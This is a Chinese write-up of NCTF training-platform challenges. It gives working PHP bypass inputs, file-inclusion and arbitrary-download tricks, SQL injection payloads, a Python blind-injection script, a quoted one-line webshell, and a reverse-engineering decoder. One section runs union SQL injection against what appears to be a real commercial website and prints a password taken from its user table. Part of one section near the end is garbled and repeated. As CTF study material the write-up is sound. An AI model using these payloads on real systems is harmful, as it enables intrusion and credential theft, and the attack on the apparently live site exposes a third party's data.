NCTF 南京郵電大學網絡攻防訓練平台 WriteUp
不說什麼直接上題解
WEB
1.簽到題(50)直接查看網頁源碼
Flag:nctf{flag_admiaanaaaaaaaaaaa}
2.md5 collision(50)源碼如下:
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
重點在這裏
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
1.$a不等於'QNKCDZO' 但$a的MD5等於'QNKCDZO'的MD5
這想想也是不可能的事,此中必有蹊蹺
2.觀察發現md5('QNKCDZO')='0e830400451993494058024219903391'
3.在php中==號為弱比較'0e'開頭剩下的全為數字不管數字是多少==恒成立
因為'0e***'==0
所以下一步的目的很明顯制造開頭為 ‘0e’ 的MD5字符串 字符串生成 這裏將$a=s878926199a 得到flag:nctf{md5_collision_is_easy}
3.簽到2(50)網頁源碼如下:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
尚未登錄或口令錯誤<form action="./index.php" method="post">
<p>輸入框:<input type="password" value="" name="text1" maxlength="10"><br>
請輸入口令:zhimakaimen
<input type="submit" value="開門">
</form>
</html>
重點在這
<p>輸入框:<input type="password" value="" name="text1" maxlength="10"><br>
請輸入口令:zhimakaimen
輸入的口令長度為11,而他html源碼限制的長度為10
處理方法有兩種:
利用瀏覽器自帶插件,我這裏用的是Firefox的hackbar插件,直接越過HTML代碼直接進行post傳遞 上述兩種方法都能直接得到flag flag:nctf{follow_me_to_exploit}4.這題不是WEB(100)打開之後有個貓的圖片 將貓圖片下載至桌面 用txt打開此文檔 發現如下:
最後為flag:nctf{photo_can_also_hid3_msg}
5.層層遞進(100)最討厭腦洞題,拿著題不知道如何下手最後看了writeup才知道訪問的URL:http://chinalover.sinaapp.com/web3/404.html 進去之後查看源碼發現了如下代碼:
<!
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
>
這段代碼一眼就看出flag的舉手 handsup flag:nctf{this_is_a_fl4g}
6.AAencode(100)tips:javascript aaencode
aaencode是js加密的一種特別好玩,可以吧文字加密成表情 除了
aaencode之外還有幾種特別的加密方式
- Perl的ppencode
- Ruby的rrencode
編碼連接如下:http://www.cnblogs.com/android-html5/archive/2011/02/09/2533784.html
AAencode 可以直接在
chrome瀏覽器 的控制台console直接運行: 運行方式如圖:
這裏有console的好玩用法:http://www.cnblogs.com/Wayou/p/chrome-console-tips-and-tricks.html 總之console在這了可以執行js AAencode加密過的代碼: 得到flag:nctf{javascript_aaencode}
7.單身二十年(100)題目上說看手速,其實一開始用瀏覽器查看網絡流發現如下:
key is : nctf{yougotit_script_now}
8.你從哪裏來(100)are you from google?
一看就知道我要偽造從http://www.google.com/ 那裏來 這裏有篇博客寫的就是http header的字段 這裏面有個referer字段:HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,告訴服務器我是從哪個頁面鏈接過來的,服務器藉此可以獲得一些信息用於處理。 我們另Referer:https://www.google.com/ 再burpsuit直接改就行 如下圖:
拿到flag:nctf{http_referer}
9.php decode(100)直接讓解碼,看看代碼吧
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
eval 是個神奇的函數關於eval的鏈接在這 eval可以執行php代碼所以我直接讓他執行並輸出修改代碼如下:
echo CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==");
放在php裏直接運行,得出結果 flag:nctf{gzip_base64_hhhhhh}
10.文件包含(150)這道題非常棒!!!讓我學到了一個新的漏洞
文件包含漏洞,先了解一下php://filter php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 同時我也借此機會學到了文件讀取的相關知識。
- include “test.php”php文件包含,在執行流中插入寫在其他文件中的有用的代碼。讀取的時候也是數據流形式,因此可以使用php://filter進行過濾,返回值為0,1。
- readfile(“test.php”)是將文件以數據流的形式讀取過來,並不會執行,但會在前台瀏覽器上進行解析。返回值是字節數多少。
- file_get_contents(“test.php”)返回值為文本內容
此題運用的就是關於數據流過濾的文件包含,我們一般在進行文件包含的時候都這麼寫include “test.php”獲得的就是test.php直接解析出來。但如果運用readfile(“test.php”) 就不進行解析,導致無法在瀏覽器前台進行顯示。那麼問題來了看題
它讓我點擊它 我一下子就點了他!!! 出來了個這個URL
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
一看呵呵噠,典型的文件包含漏洞我們可以通過構造含有漏洞的語句,查看想要看的代碼 file=php://filter/read=convert.base64-encode/resource=index.php 這裏有個關於漏洞的詳解 簡單的重複一下他的意思 注解: 1.php://filter/可用於處理打開的數據流,起到過濾作用。如果源文件為.php則很有可能在前台顯示不出來。 2.此時我們采用的方法是,先讓文件轉化為base64格式(convert.base64-encode)然後再輸出,這樣不論是什麼格式的文件都可以在前台輸出。 3.再次解碼就可得到源代碼,怎麼樣是不是很神奇啊! 看圖片:
flag:nctf{edulcni_elif_lacol_si_siht}
11 .單身一百年也沒用(150)上去直接查看請求頭:
flag就在眼前nctf{this_is_302_redirect} 最簡單的一道題
12 .Download~!(200)查看頁面源碼:
<p><a href="download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=" target="_blank">星星點燈</a></p>
<p><a href="download.php?url=YnV4aWFuZ3poYW5nZGEubXAz" target="_blank">不想長大</a></p>
發現了下載文件的URL
download.php?url=base64('文件名')
這裏我沒想到下載download.php。不過想想也是,這也沒有其他文件了吧除了這個。果斷轉碼base64('download.php')=ZG93bmxvYWQucGhw
URL=https://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw
下載得到download.php代碼,如下:
<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
$file_size = filesize($url);
header ( "Pragma: public" );
header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header ( "Cache-Control: private", false );
header ( "Content-Transfer-Encoding: binary" );
header ( "Content-Type:audio/mpeg MP3");
header ( "Content-Length: " . $file_size);
header ( "Content-Disposition: attachment; filename=".$url);
echo(file_get_contents($url));
exit;
}
else {
echo "Access Forbidden!";
}
?>
又發現了一個文件hereiskey.php,估計flag就在裏面,果斷下載 URL:way.nuptzj.cn/web6/download.php?url=aGVyZWlza2V5LnBocA== 得到flag代碼:
?<?php
//flag:nctf{download_any_file_666}
?>
flag:nctf{download_any_file_666}
13 .COOKIE(200)TIP: 0==not tip很有用噠,0==not,腦補1==yes 看樣子要修改cookie了,看http報頭
OK目的很明確 修改cookie 有兩種方法:
利用chrome自帶的cookie工具
flag:nctf{cookie_is_different_from_session}
14.MYSQL(200)一上來就給我們科普:robots.txt 這裏有百科
看我robots.txt的代碼
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}//說明id!=1024
$id = intval($_GET[id]);//這是前面的代碼 轉為整數
隨手輸了個id=1024.1
過了
flag is:nctf{query_in_mysql}
15.sql injection 3(200)終於開始了sql注入,等了好久~~~ 看題!!!
title:gbk_sql_injection gbk寬字節注入的題目,這裏有鏈接解釋寬字節注入 還有一個
題目中輸入id=’ 則會顯示成id=’”很顯然’被自動轉義了。 這是我們輸入id=%df’ or 1=1#
ErrorThe used SELECT statements have a different number of columns 說明字段不同加個字段試試,index.php?id=%df%27union select *,1 from flag%23
總結:
union查詢原則
前後的字段數量必須相同查詢出來的字段全是第一個數據表中的字段第一個數據庫有結果集則第二個查詢的結果集接在第一個結果集的後面如果第一個查詢沒有結果集,則顯示的全是第二個查詢的結果集才出來: flag:nctf{gbk_3sqli}
16./x00(200)這題是一道好題!!!
直接就有源碼:
view-source:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
ereg詳解 strops詳解 這裏ereg有兩個漏洞
%00截斷及遇到%00則默認為字符串的結束當ntf為數組時它的返回值不是FALSE所以有兩個方法去攻這道題目 1.令id=1%00%23biubiubiu 2.令nctf為數組則,nctf[]=111
附加:
=== 格式也等!== (0!==false 為true)最後附上這道題目的答案
flag:nctf{use_00_to_jieduan}
17.bypass again(200)依舊是弱類型 看來又是弱類型的php漏洞
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
$_GET可以接受數組但MD5 md5()不能處理數組結構的數據 利用此漏洞構造index.php?a[]=1&b[]=2
Flag: nctf{php_is_so_cool}
18.變量覆蓋(200)直接見代碼:
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php extract($_POST); if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
這裏有extract的詳解 總的來說是extract() 函數從數組中將變量導入到當前的符號表。 典型的變量覆蓋
if ($pass == $thepassword_123) { ?>
只需要覆蓋$pass、$thepassword_123這兩個變量使他們相等即可
flag:nctf{bian_liang_fu_gai!}
19.PHP是世界上最好的語言(250)看源碼
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
觀察一下發現有兩個判斷條件
if(eregi("hackerDJ",$_GET[id]))//id與hackerDJ不相同
$_GET[id] = urldecode($_GET[id]);//id又經歷了一次URL解碼
if($_GET[id] == "hackerDJ")//解碼後的id與hackerDJ相同
這下子好辦了兩次URL加密即可 ,只加密前一個字符
其實url編碼就是一個字符ascii碼的十六進制。
h的URL編碼為%68,在進行一次編碼後為%2568
則令id=%2568ackerDJ
url :http://way.nuptzj.cn/php/index.php?id=%2568ackerDJ flag: nctf{php_is_best_language}
20.偽裝者(250) 這題是固定的模式,直接偽造http頭有兩種方法:
- Firefox modify headers 插件
- 直接burpsuit截斷添加 x-forwarded-for:127.0.0.1
nctf{happy_http_headers}
21.Header(250)這題好low 直接看報頭
flag就在其中 nctf{tips_often_hide_here}
22.上傳繞過(250)我首先上傳了一個1.jpg文件 然後報的提示是這樣的
必須是php文件才行啊!
然後就上傳1.php文件 然後報的提示是這樣的
只允許上傳 jpg,GIF ,png後綴的文件
這才意識到我要上傳.jpg的文件讓他識別為.php的文件,怎麼才能做到呢??? 看她的第一個錯誤提示它是
怎麼識別文件後綴的 它是根據./uploads目錄下的basename進行識別的 在我們上傳的時候會出現./uploads
basename為1.php 1.jpg OK 下一步就在這裏加一個截斷/uploads/1.php0x00 方法如下:
- 用burpsuit 截斷 然後直接提交 flag:nctf{welcome_to_hacks_world}
23.SQL注入1(300)直接看源碼
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo '</br>'.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "<p>Logged in! flag:******************** </p>"; } if($query[user] != "admin") { echo("<p>You are not admin!</p>"); } } echo $query[user]; ?>
這裏有trim的詳解 這裏起到過濾字符串兩端空格的作用 這道題
***** 一個字坑 看見括號了沒,我一直沒看見·········· 最簡單的注入 和password無關
user=admin ‘)# //
注意括號要閉合不然報錯 我就是被坑的 提交
flag:nctf{ni_ye_hui_sql?}
24.pass check(300)直接看
核心代碼 還有tip:strcmp(array,string)=null=0
<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
tip一出這題就沒有難度了 直接傳pass個數組形式pass[]=1 look
flag:nctf{strcmp_is_n0t_3afe}
25.起名字真難(300)代碼如下:
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
分析一下代碼要讓number == ‘54975581388’,並且number每個字符與’54975581388’都不同,這就沒轍了 。 想想啊 讓兩個數相等換個進制唄 只能換十六進制了
if ( ($digit >= $one) && ($digit <= $nine) )//因為這段代碼的限制
54975581388==0xccccccccc 所以URL:http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc The flag is:nctf{follow_your_dream}
26.密碼重置(300)首先看URL:http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg%3D%3D user1是什麼鬼,我用base64解密之後 哈哈 原來是ctfuser 直接上圖吧不多說什麼了
27.php 反序列化(300)代碼:
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no You can't fool me";
}
else echo "are you trolling?";
}
?>
這裏有序列化反序列化的科普 總的來說讓輸一個·序列化過後的字符串並且類中的變量始終保持相同,這一下子就想到了引用 a=&b
($o->secret === $o->enter)
我構造如下代碼制造序列化字符串:
<?php
class just4fun {
var $enter;
var $secret;
function just4fun()
{
$this->enter=&$this->secret;
}
}
echo serialize(new just4fun());
?>
OK flag 出來啦
flag: nctf{serialize_and_unserialize}
28.sql injection 4(300)直接看代碼:
<!
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=''.$username.'' AND pass=''.$password.'';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
>
科普htmlentities($str, ENT_QUOTES) 這是一個單引號過濾。我們就沒有辦法添加單引號閉合了,看來只能運用轉義字符吃掉單引號了。怎麼吃掉的呢??
- 我在本地搭了一個環境 flag:nctf{sql_injection_is_interesting}
29.綜合題(300)tip:bash 打開一看這是什麼啊jother編碼 chrome console解碼得:
出現zip -r flagbak.zip ./* 輸上URL:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip 自動下載了flagbak.zip 解壓裏面就有flag flag is:nctf{bash_history_means_what}
30.SQL注入2(400)tip: 注入第二題~~主要考察union查詢
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
仔細看看代碼
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw])))
觀察發現只要讓結果集中有你輸入密碼的MD5值就行嘿嘿
這樣就OK啦 flag: ntcf{union_select_is_wtf}
31.綜合題2(400)終於把這題給搞懂了,還看了別人的題解 1. 第一步
出來一堆文件,發現file後面可接文件名,並將文件蕩出來,於是寫了python腳本,開始蕩文件
http://cms.nuptzj.cn/about.php?file=sm.txt
# -*- coding: utf-8 -*-
import requests
import HTMLParser
import codecs
s=['say','config','passencode','index','so','antiinject','antixss']
h = HTMLParser.HTMLParser()
for i in s:
url="http://cms.nuptzj.cn/about.php?file={0}.php".format(i);
f=codecs.open(str(i)+'.php','w+','utf-8')#codecs可指定文件編碼
s=requests.get(url)
s.encoding='utf-8'
f.write(h.unescape(s.text))#反轉意html實體
下面看看文件
so.php
<?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?>
say.php
<?php
include 'config.php';
$nice=$_POST['nice'];
$say=$_POST['usersay'];
if(!isset($_COOKIE['username'])){
setcookie('username',$nice);
setcookie('userpass','');
}
$username=$_COOKIE['username'];
$userpass=$_COOKIE['userpass'];
if($nice=="" || $say==""){
echo "<script>alert('昵稱或留言內容不能為空!(如果有內容也彈出此框,不是網站問題喔~ 好吧,給個提示:查看頁面源碼有驚喜!)');</script>";
exit();
}
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error());
mysql_select_db($db_name,$con);
$nice=mysql_real_escape_string($nice);
$username=mysql_real_escape_string($username);
$userpass=mysql_real_escape_string($userpass);
$result=mysql_query("SELECT username FROM admin where username='$nice'",$con);
$login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);
if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){
echo "<script>alert('昵稱已被使用,請更換!');</script>";
mysql_free_result($login);
mysql_free_result($result);
mysql_close($con);
exit();
}
mysql_free_result($login);
mysql_free_result($result);
$say=mysql_real_escape_string($say);
mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);
mysql_close($con);
echo '<script>alert("構建和諧社會,留言需要經過管理員審核才可以顯示!");window.location = "./index.php"</script>';
?>
passencode.php
<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>
antixss.php
<?php function antixss($content){ preg_match("/(.*)[a](.*)[/a](.*)/",$content,$url); $key=array("(",")","&","\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因為太菜,很懶,所以。。。(過濾規則來自Mramydnei) $re=$url[2]; if(count($url)==0){ return htmlspecialchars($content); }else{ for($i=0;$i<=count($key);$i++){ $re=str_replace($key[$i], '_',$re); } return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES); } } ?>
antiinject.php
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
about.php
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file參數不能為空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目錄,禁止查看!但是。。。')</script>";
}
}
2.注入
id搜索後出現so.php,存在注入點soid。數據表名為admin 字段名username userpass 開始注入,利用burpsuit先報username的內容
file=1/*/aandnd/*/exists(selselectect/*/usernamnamee/*/frfromom/*/admadminin/*/limit 1,1)
判斷出username字段長度為5,userpass字段長度為6 利用腳本爆內容
import requests
url=r'http://cms.nuptzj.cn/so.php'
header={
'User-Agent': 'Xlcteam Browser',
}
dic='0123456789abcdefghijklmnopqrstuvwxyz'
string=''
for i in range(1,6):
for j in dic:
id='1/**/anandd/**/exists(selselectect/**/*/**/frfromom/**/admadminin/**/where/**/oorrd(substr(usernamnamee,{0},1))>{1})'.format(str(i),str(ord(j)))#只需將username更改為uerpass
data={
'soid':id
}
s=requests.post(url=url,headers=header,data=data)
content=s.text
print 1
if(len(content)<430):
string+=j
break
print string
結果為admin 1020117099010701140117011001160117 後面的加密算法在passencode.php裏面解密為fuckruntu 有了賬號密碼就可以登後台了在about.php裏有loginxlcteam
http://cms.nuptzj.cn/loginxlcteam/
登錄
一句話木馬xlcteam.php
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>
典型的一句話木馬 上網搜索 令www=preg_replace&wtf=print_r(scandir(‘.’)) 出flag
32.注入實戰1(500)我超喜歡這道題說真的我學到了好多呢 看題
1. 第一步 首先利用order by 爆出字段數
order by 1000 時報錯了 http://www.backstagecommerce.ca/services.php?id=1 order by 1000
這裏爆出了3,6,7,8,9,10,11,12,13 這麼多的顯示字段,下一步我們用哪個字段都行來爆他的數據表 報表語句
http://www.backstagecommerce.ca/services.php?id=-9 union select 1,2,3,4,5,6,7,8,9,10,(select group_concat(table_name) from information_schema.tables where table_schema=database()),12,13,14,15,16,17,18,19#
主要是這句話
(select group_concat(table_name) from information_schema.tables where table_schema=database())
把這句話放到顯示字段位置上即可
group_concat這裏不多做解釋,意思是多個字段查詢的結果合並後在一行顯示
information_schema.tables裏面有數據庫中的所有表
database()指的是當前數據庫
table_schema指的是所有數據庫
table_name 是屬於information_schema.tables的表 相當於其中的一個元素
如果不懂自己動手查吧
爆出來的表名如下
有木有看見user數據表我們只關心這個,下一步要爆字段了
3. 第三步 這一步我們要爆字段 有了數據表字段還不好爆嗎
http://www.backstagecommerce.ca/services.php?id=-9 union select 1,2,3,4,5,6,7,8,9,10,11,(select group_concat(column_name) from information_schema.columns where table_name='users'),13,14,15,16,17,18,19#
information_schema.columns 該數據庫中的所有字段
table_name 表的名字
column_name 屬於information_schema.columns中的元素
看看都爆出來了什麼字段
看見沒password字段 我們想要的東西在裏面 下一步把值給爆出來吧!!!
4. 第四步 這一步 我們要爆他的密碼
http://www.backstagecommerce.ca/services.php?id=-9 union select 1,2,3,4,5,6,7,8,9,10,11,(select password from users),13,14,15,16,17,18,19#
也可以這樣
http://www.backstagecommerce.ca/services.php?id=-9 union select 1,2,3,4,5,6,7,8,9,10,11,(password),13,14,15,16,17,18,19 from users#
密碼就在上圖BSCmarketing24 然後再md5加密成 f3d6cc916d0739d853e50bc92911dddb flag: nctf{f3d6cc916d0739d853e50bc92911dddb}
33.密碼重置2(500)TIPS: 1.管理員郵箱觀察一下就可以找到 2.linux下一般使用vi編輯器,並且異常退出會留下備份文件 3.弱類型bypass
根據源碼發現了郵箱
admin@nuptzj.cn tip2:上網搜了vi編輯器異常退出留下備份文件名
直接打開.submit.php.swp文件如下
源碼如下
..這一行是省略的代碼..
/*
如果登錄郵箱地址不是管理員則 die()
數據庫結構
表的結構 `user`
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
轉存表中的數據 `user`
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/
..這一行是省略的代碼..
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失敗了呀";
}
}
```23
***重點在這***
<div class="se-preview-section-delimiter"></div>
if(strlen(
token)!=10)die(‘fail′);if(
token)!=10) die(‘fail’);
if(token!=’0’) die(‘fail’); 長度為十並且值為零 只有$token=0000000000 “` 將郵箱admin@nuptzj.cn 密碼0000000000 得到flag flag:nctf{thanks_to_cumt_bxs}
總的來說收獲不小,特別是在寫writeup的時候,因為寫的比較細所以基本上問題都解決了,付出和收獲成正比!!!僅供大家參考如果有更好的方法也希望互相交流!!!祝大家玩得愉快!!!
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
長度為十並且值為零
只有$token=0000000000
將郵箱admin@nuptzj.cn 密碼0000000000 得到flag flag:nctf{thanks_to_cumt_bxs}
REVERSE
2.READasm
00000000004004e6 <func>:
4004e6: 55 push rbp
4004e7: 48 89 e5 mov rbp,rsp
4004ea: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi ;input[]
4004ee: 89 75 e4 mov DWORD PTR [rbp-0x1c],esi ;28
4004f1: c7 45 fc 01 00 00 00 mov DWORD PTR [rbp-0x4],0x1 ;i = 1
4004f8: eb 28 jmp 400522 <func+0x3c> ;for(i;i<=28;i++)
4004fa: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
4004fd: 48 63 d0 movsxd rdx,eax ;i
400500: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18]
400504: 48 01 d0 add rax,rdx ;rax = i + string[0]
400507: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] ;edx = i
40050a: 48 63 ca movsxd rcx,edx ;rcx = i
40050d: 48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18] ;rdx = string
400511: 48 01 ca add rdx,rcx ;rdx = i + string[0]
400514: 0f b6 0a movzx ecx,BYTE PTR [rdx] ;ecx = chr(i+string[0])
400517: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] ;edx = i
40051a: 31 ca xor edx,ecx
40051c: 88 10 mov BYTE PTR [rax],dl
40051e: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1
400522: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
400525: 3b 45 e4 cmp eax,DWORD PTR [rbp-0x1c]
400528: 7e d0 jle 4004fa <func+0x14>
40052a: 90 nop
40052b: 5d pop rbp
40052c: c3 ret
直接寫exploit
#coding=utf8
input = [ 0x67, 0x6e, 0x62, 0x63, 0x7e, 0x74, 0x62, 0x69, 0x6d,
0x55, 0x6a, 0x7f, 0x60, 0x51, 0x66, 0x63, 0x4e, 0x66, 0x7b,
0x71, 0x4a, 0x74, 0x76, 0x6b, 0x70, 0x79, 0x66 , 0x1c];
j = 1;
s = ""
for i in input:
s += chr(i^j)
j += 1
print s
總的來說收獲不小,特別是在寫writeup的時候,因為寫的比較細所以基本上問題都解決了,付出和收獲成正比!!!僅供大家參考如果有更好的方法也希望互相交流!!!祝大家玩得愉快!!!